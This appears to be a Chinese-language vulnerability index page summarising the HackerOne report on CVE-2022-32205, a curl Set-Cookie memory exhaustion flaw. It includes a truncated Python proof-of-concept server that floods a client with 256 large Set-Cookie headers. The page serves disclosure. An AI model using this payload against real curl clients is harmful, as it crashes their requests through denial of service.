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地图 / CVE-2022-32205: Set-Cookie denial of service

CVE-2022-32205: Set-Cookie denial of service

拒绝服务 / Allocation of Resources Without Limits or Throttling / #1569946

厂商
curl
严重程度
低危
赏金
—
弱点
Allocation of Resources Without Limits or Throttling
研究员
@nyymi
披露日期
2022-06-27
资产
https://github.com/curl/curl
CVE
CVE-2022-32205

该报告还没有中文解读。

原文摘录

摘自原文(1860 字符中的一小部分)
Summary: Curl fails to limit the number of cookies that can be set by a single host/domain. It can easily lead to a situation where constructing the request towards a host will end up consuming more than `DYN_HTTP_REQUEST` memory, leading to instant `CURLE_OUT_OF_MEMORY`.
原文中的代码
from http.server import BaseHTTPRequestHandler, HTTPServer

class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        for i in range(0,256):
            self.send_header("Set-Cookie", "f{}={}; Domain=hax.invalid".format(i, "A" * 4092)) …

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 curl 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @nyymi · 版权归作者与 curl 所有

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